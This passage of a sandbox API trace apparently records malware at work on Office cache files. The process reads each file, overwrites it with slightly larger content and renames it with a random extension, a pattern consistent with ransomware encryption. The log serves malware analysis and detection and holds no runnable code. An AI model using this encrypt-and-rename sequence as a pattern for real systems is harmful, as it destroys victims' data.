ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x408, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0135.959] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x418f61e0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x418f61e0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd16f37a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xa18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0135.959] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x418f61e0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x418f61e0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd16f37a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xa18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0135.959] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0135.960] SetErrorMode (uMode=0x0) returned 0x1 [0135.960] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0135.960] SetErrorMode (uMode=0x1) returned 0x0 [0135.961] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd091f700, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd16f56e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd16f56e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0135.962] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd091f700, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd16f56e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd16f56e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.962] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd0945860, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd16cf580, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd16cf580, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0135.962] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x910d560, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x910d560, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd091f700, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x103000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0135.962] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdd382ac0, ftCreationTime.dwHighDateTime=0x1d0cbb1, ftLastAccessTime.dwLowDateTime=0xdd382ac0, ftLastAccessTime.dwHighDateTime=0x1d0cbb1, ftLastWriteTime.dwLowDateTime=0xd091f700, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x408, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0135.962] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x418f61e0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x418f61e0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd16f37a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xa18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0135.962] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x418f61e0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x418f61e0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd16f37a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xa18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0135.962] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0135.964] SetErrorMode (uMode=0x0) returned 0x1 [0135.964] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\AccessMUISet.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\AccessMUISet.xml", lpFilePart=0x0) returned 0x4f [0135.964] SetErrorMode (uMode=0x1) returned 0x0 [0135.964] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0135.969] GetFileType (hFile=0x1d0) returned 0x1 [0135.969] SetErrorMode (uMode=0x0) returned 0x1 [0135.969] GetFileType (hFile=0x1d0) returned 0x1 [0135.969] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x408 [0135.969] ReadFile (in: hFile=0x1d0, lpBuffer=0x29c44c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x29c44c8*, lpNumberOfBytesRead=0x21d4d8*=0x408, lpOverlapped=0x0) returned 1 [0136.056] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\AccessMUISet.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\AccessMUISet.xml", lpFilePart=0x0) returned 0x4f [0136.056] SetErrorMode (uMode=0x1) returned 0x0 [0136.056] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0136.058] GetFileType (hFile=0x1d0) returned 0x1 [0136.058] SetErrorMode (uMode=0x0) returned 0x1 [0136.058] GetFileType (hFile=0x1d0) returned 0x1 [0136.058] WriteFile (in: hFile=0x1d0, lpBuffer=0x28a65d0*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x21d478, lpOverlapped=0x0 | out: lpBuffer=0x28a65d0*, lpNumberOfBytesWritten=0x21d478*=0x410, lpOverlapped=0x0) returned 1 [0136.060] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\AccessMUISet.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\AccessMUISet.xml", lpFilePart=0x0) returned 0x4f [0136.060] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\AccessMUISet.xml.jro710", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\AccessMUISet.xml.jro710", lpFilePart=0x0) returned 0x56 [0136.060] SetErrorMode (uMode=0x1) returned 0x0 [0136.060] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\accessmuiset.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdd382ac0, ftCreationTime.dwHighDateTime=0x1d0cbb1, ftLastAccessTime.dwLowDateTime=0xdd382ac0, ftLastAccessTime.dwHighDateTime=0x1d0cbb1, ftLastWriteTime.dwLowDateTime=0x4da8d380, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x410)) returned 1 [0136.060] SetErrorMode (uMode=0x0) returned 0x1 [0136.060] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\accessmuiset.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\AccessMUISet.xml.jro710" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\accessmuiset.xml.jro710")) returned 1 [0136.061] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0136.061] SetErrorMode (uMode=0x1) returned 0x0 [0136.062] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0136.063] GetFileType (hFile=0x1d0) returned 0x1 [0136.063] SetErrorMode (uMode=0x0) returned 0x1 [0136.065] GetFileType (hFile=0x1d0) returned 0x1 [0136.065] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0xa18 [0136.065] ReadFile (in: hFile=0x1d0, lpBuffer=0x28a8c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x28a8c68*, lpNumberOfBytesRead=0x21d4d8*=0xa18, lpOverlapped=0x0) returned 1 [0136.086] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0136.086] SetErrorMode (uMode=0x1) returned 0x0 [0136.086] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0136.088] GetFileType (hFile=0x1d0) returned 0x1 [0136.088] SetErrorMode (uMode=0x0) returned 0x1 [0136.088] GetFileType (hFile=0x1d0) returned 0x1 [0136.088] WriteFile (in: hFile=0x1d0, lpBuffer=0x298d098*, nNumberOfBytesToWrite=0xa20, lpNumberOfBytesWritten=0x21d478, lpOverlapped=0x0 | out: lpBuffer=0x298d098*, lpNumberOfBytesWritten=0x21d478*=0xa20, lpOverlapped=0x0) returned 1 [0136.089] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0136.090] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Setup.xml.9721g8", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Setup.xml.9721g8", lpFilePart=0x0) returned 0x4f [0136.090] SetErrorMode (uMode=0x1) returned 0x0 [0136.090] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x418f61e0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x418f61e0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0x4dad9640, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0xa20)) returned 1 [0136.090] SetErrorMode (uMode=0x0) returned 0x1 [0136.090] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Setup.xml.9721g8" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\setup.xml.9721g8")) returned 1 [0136.091] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us", lpFilePart=0x0) returned 0x4b [0136.091] SetErrorMode (uMode=0x1) returned 0x0 [0136.091] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\*" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\access.en-us\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd0945860, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd16cf580, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd16cf580, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0136.097] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd0945860, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd16cf580, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd16cf580, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.097] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x109b3910, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x109b3910, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd09440f0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x249000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0136.097] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd03ec950, ftCreationTime.dwHighDateTime=0x1d0cbb1, ftLastAccessTime.dwLowDateTime=0xd03ec950, ftLastAccessTime.dwHighDateTime=0x1d0cbb1, ftLastWriteTime.dwLowDateTime=0xd09440f0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x5a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0136.097] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb194ac00, ftCreationTime.dwHighDateTime=0x1d0cbc9, ftLastAccessTime.dwLowDateTime=0xb194ac00, ftLastAccessTime.dwHighDateTime=0x1d0cbc9, ftLastWriteTime.dwLowDateTime=0xd098fbe0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x525e2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccLR.cab", cAlternateFileName="")) returned 1 [0136.097] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e1e12f0, ftCreationTime.dwHighDateTime=0x1d0ca7d, ftLastAccessTime.dwLowDateTime=0x2e1e12f0, ftLastAccessTime.dwHighDateTime=0x1d0ca7d, ftLastWriteTime.dwLowDateTime=0xd16cedb0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x521b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0136.097] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e1e12f0, ftCreationTime.dwHighDateTime=0x1d0ca7d, ftLastAccessTime.dwLowDateTime=0x2e1e12f0, ftLastAccessTime.dwHighDateTime=0x1d0ca7d, ftLastWriteTime.dwLowDateTime=0xd16cedb0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x521b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 0 [0136.097] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0136.098] SetErrorMode (uMode=0x0) returned 0x1 [0136.099] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us", lpFilePart=0x0) returned 0x4b [0136.099] SetErrorMode (uMode=0x1) returned 0x0 [0136.099] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\*" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\access.en-us\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd0945860, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd16cf580, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd16cf580, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0136.101] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd0945860, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd16cf580, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd16cf580, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.101] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x109b3910, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x109b3910, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd09440f0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x249000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0136.101] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd03ec950, ftCreationTime.dwHighDateTime=0x1d0cbb1, ftLastAccessTime.dwLowDateTime=0xd03ec950, ftLastAccessTime.dwHighDateTime=0x1d0cbb1, ftLastWriteTime.dwLowDateTime=0xd09440f0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x5a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0136.101] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb194ac00, ftCreationTime.dwHighDateTime=0x1d0cbc9, ftLastAccessTime.dwLowDateTime=0xb194ac00, ftLastAccessTime.dwHighDateTime=0x1d0cbc9, ftLastWriteTime.dwLowDateTime=0xd098fbe0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x525e2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccLR.cab", cAlternateFileName="")) returned 1 [0136.101] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e1e12f0, ftCreationTime.dwHighDateTime=0x1d0ca7d, ftLastAccessTime.dwLowDateTime=0x2e1e12f0, ftLastAccessTime.dwHighDateTime=0x1d0ca7d, ftLastWriteTime.dwLowDateTime=0xd16cedb0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x521b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0136.101] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e1e12f0, ftCreationTime.dwHighDateTime=0x1d0ca7d, ftLastAccessTime.dwLowDateTime=0x2e1e12f0, ftLastAccessTime.dwHighDateTime=0x1d0ca7d, ftLastWriteTime.dwLowDateTime=0xd16cedb0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x521b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 0 [0136.101] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0136.102] SetErrorMode (uMode=0x0) returned 0x1 [0136.103] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpFilePart=0x0) returned 0x59 [0136.103] SetErrorMode (uMode=0x1) returned 0x0 [0136.103] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0136.107] GetFileType (hFile=0x1d0) returned 0x1 [0136.107] SetErrorMode (uMode=0x0) returned 0x1 [0136.107] GetFileType (hFile=0x1d0) returned 0x1 [0136.108] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x5a9 [0136.108] ReadFile (in: hFile=0x1d0, lpBuffer=0x29916f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x29916f8*, lpNumberOfBytesRead=0x21d418*=0x5a9, lpOverlapped=0x0) returned 1 [0136.202] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpFilePart=0x0) returned 0x59 [0136.202] SetErrorMode (uMode=0x1) returned 0x0 [0136.202] CreateFileW (lpFileName="C:\\MSOCache\\All 